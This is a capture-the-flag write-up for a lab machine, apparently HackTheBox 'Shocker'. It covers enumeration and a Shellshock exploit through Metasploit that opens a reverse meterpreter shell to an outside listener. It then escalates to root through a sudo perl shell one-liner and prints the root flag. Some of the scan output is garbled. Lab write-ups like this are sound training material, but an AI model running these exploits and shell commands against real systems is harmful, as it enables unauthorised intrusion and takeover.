

# Information Gathering

1) Initial network scan has been done

```
(vigneswar@vigneswar)-[~]
$ nmap 10.10.10.56 -sV 10.10.10.56 -sC -p80,2222
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-03 18:33 IST
Nmap scan report for 10.10.10.56
Host is up (0.53s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
2222/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 10.10.10.56
Host is up (0.36s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 27.30 seconds
```

2) Found some directories

```

Proxies
. RHOSTS 10.10. [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 923ms]
.htaccess-marco 2222 [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 379ms]
.htaccess 1 [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 386ms]
.htaccess.bak1 10 [Status: 403, Size: 300, Words: 22, Lines: 12, Duration: 387ms]
.htaccess.bak [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 387ms]
.htaccess.save SecLis [Status: 403, Size: 300, Words: 22, Lines: 12, Duration: 378ms]
.htaccess.orig [Status: 403, Size: 300, Words: 22, Lines: 12, Duration: 378ms]
.htaccess.sample [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 378ms]
.htaccess.old [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 378ms]
.htaccess-dev [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 387ms]
.htaccess-local Descri [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 387ms]
.htaccess.inc [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 386ms]
.htaccess.txtack Use a [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 387ms]
.htpasswd.inc [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 372ms]
.htaccessBAK [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 387ms]
.htaccessOLD [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 387ms]
.htaccess/.ll module in [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 387ms]
.htpasswd.bak [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 373ms]
.htm auxiliary scanner [Status: 403, Size: 290, Words: 22, Lines: 12, Duration: 380ms]
.htaccessOLD2 [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 380ms]
.htpasswd/10.56:2222 - [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 375ms]
.httr-oauth10.56:2222 - [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 391ms]
.htpasswd-old10.56:2222 - [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 401ms]
.html [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 401ms]
/ [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 254ms]
cgi-bin/ [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 593ms]
icons/ [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 206ms]
index.html [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 224ms]
:: Progress: [12938/12938] :: Job [1/1] :: 1020 req/sec :: Duration: [0:00:15] :: Errors: 4147 ::

```

## What is CGI-Bin?

CGI stands for Common Gateway Interface and is the pathway that your requests, scripts in this case, communicate with your hosting server. CGI programs interact with the Hypertext Transfer Protocol (HTTP) and with Hypertext Markup Language (HTML) in general. CGI acts as a pathway for information sharing between the server and the application. When you think about how the internet came to be, it's fitting that the process should mirror the scientist's desire to share information more conveniently.

CGI is an industry standard because it can be written in any language if it is in compliance with environmental restrictions, or the constraints and limitations imposed by the server environment in which the CGI script is executed. The "Bin" acts as it does in the physical world. Bins are used for storage and organization, so the *CGI-Bin* is a storage location on your server where executable programs are housed until needed. The programs in the *CGI-Bin* directory are called CGI scripts; these scripts generate dynamic webpages and provide added function and purpose to your webpages.

Using these scripts, you can process requests from visitors to your website, send data, [manipulate images](#), generate forms, and more.

# What is the CGI-Bin Directory?

It's common for web servers to have a *CGI-Bin* directory. A *directory* is another virtual container that organizes files and comes in different forms; a tree-structured directory is the most common. The directories organize folders and provide a unique path under the parent directory, which is then governed by the root directory.

By this logic, the *CGI-Bin* directory is placed in a specific structure where the folder stores your Perl or Python scripts so they remain accessible by the server. Users with a web server can find the *CGI-Bin* directory in the configuration files.

### 3) Found a script

```
(vigneswar@vigneswar)-[~]
$ ffuf -w SecLists/Discovery/Web-Content/dirsearch.txt -e .pl,.sh -u 'http://10.10.10.56/cgi-bin/FUZZ' -ic -t 200
[Status: 200, Size: 118, Words: 19, Lines: 8, Duration: 483ms]
:: Progress: [38814/38814] :: Job [1/1] :: 230 req/sec :: Duration: [0:02:50] :: Errors: 12641 ::
```

### 4) Checked out users.sh

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET /cgi-bin/user.sh HTTP/1.1				1 HTTP/1.1 200 OK			
2 Host: 10.10.10.56				2 Date: Fri, 03 Nov 2023 14:22:10 GMT			
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0				3 Server: Apache/2.4.18 (Ubuntu)			
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8				4 Connection: close			
5 Accept-Language: en-US,en;q=0.5				5 Content-Type: text/x-sh			
6 Accept-Encoding: gzip, deflate, br				6 Content-Length: 118			
7 Connection: close				7			
8 Upgrade-Insecure-Requests: 1				8 Content-Type: text/plain			
9				9			
10				10 Just an uptime test script			
				11			
				12 10:22:10 up 1:24, 0 users, load average: 0.01, 0.07, 0.03			
				13			
				14			

the script uses uptime command

```
(vigneswar@vigneswar)-[~]
```

```
$ uptime
```

```
19:57:17 up 11:15, 2 users, load average: 0.37, 0.41, 0.39
```

## Vulnerability Assessment

1) Apache CGI has vulnerability

### Apache mod\_cgi - 'Shellshock' Remote Command Injection

**EDB-ID:**

34900

**CVE:**

2014-6278 2014-6271

**Author:**

FEDERICO  
GALATOLO

**Type:**

REMOTE

**Platform:**

LINUX

**Date:**

2014-10-06

**EDB Verified:** ✓

**Exploit:** 📄 / 📄

**Vulnerable App:**

What is Shellshock?

The Shellshock Vulnerability (CVE-2014-6271) is a serious vulnerability in Bash on Linux.

According to RedHat, "A flaw was found in the way Bash (aka bourne-again shell) evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue."

There was an original fix published for CVE-2014-6271, but it proved to be incorrect and/or incomplete, so a second advisory was issued ([CVE-2014-7169](#)) to address this.

## Exploitation

1) Exploited the rce

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options
```

Module options (exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exec):

Name	Current Setting	Required	Description
CMD_MAX_LENGTH	2048	yes	CMD max line length
CVE	CVE-2014-6271	yes	CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER	User-Agent	yes	HTTP header to use
METHOD	GET	yes	HTTP method to use
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.10.10.56	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPATH	/bin	yes	Target PATH for binaries used by the CmdStager
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TARGETURI	/cgi-bin/user.sh	yes	Path to CGI script
TIMEOUT	5	yes	HTTP read response timeout (seconds)
URIPATH		no	The URI to use for this exploit (default is random)
VHOST		no	HTTP server virtual host

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh\_invokewebrequest,ftp\_http:

Name	Current Setting	Required	Description
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	10.10.16.5	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit
```

```
[*] Started reverse TCP handler on 10.10.16.5:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage(1017704 bytes) to 10.10.10.56
[*] Meterpreter session 1 opened (10.10.16.5:4444 → 10.10.10.56:53048) at 2023-11-03 20:04:52 +0530
```

```
meterpreter > shell
Process 4438 created.
Channel 1 created.
whoami
shelly
```

## 2) Found a sudo misconfiguration

```
shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:~$
```

## 3) Exploited the sudo misconfiguration and got root access

```
shelly@Shocker:~$ sudo /usr/bin/perl -e 'exec "/bin/sh"'
```

```
> # cat /root/root.txt
313fff93e520dc019820c73d81dc0b985
#
```

```
1 GET /cgi-bin/user.sh HTTP/1.1
2 Host: 10.10.10.56
```

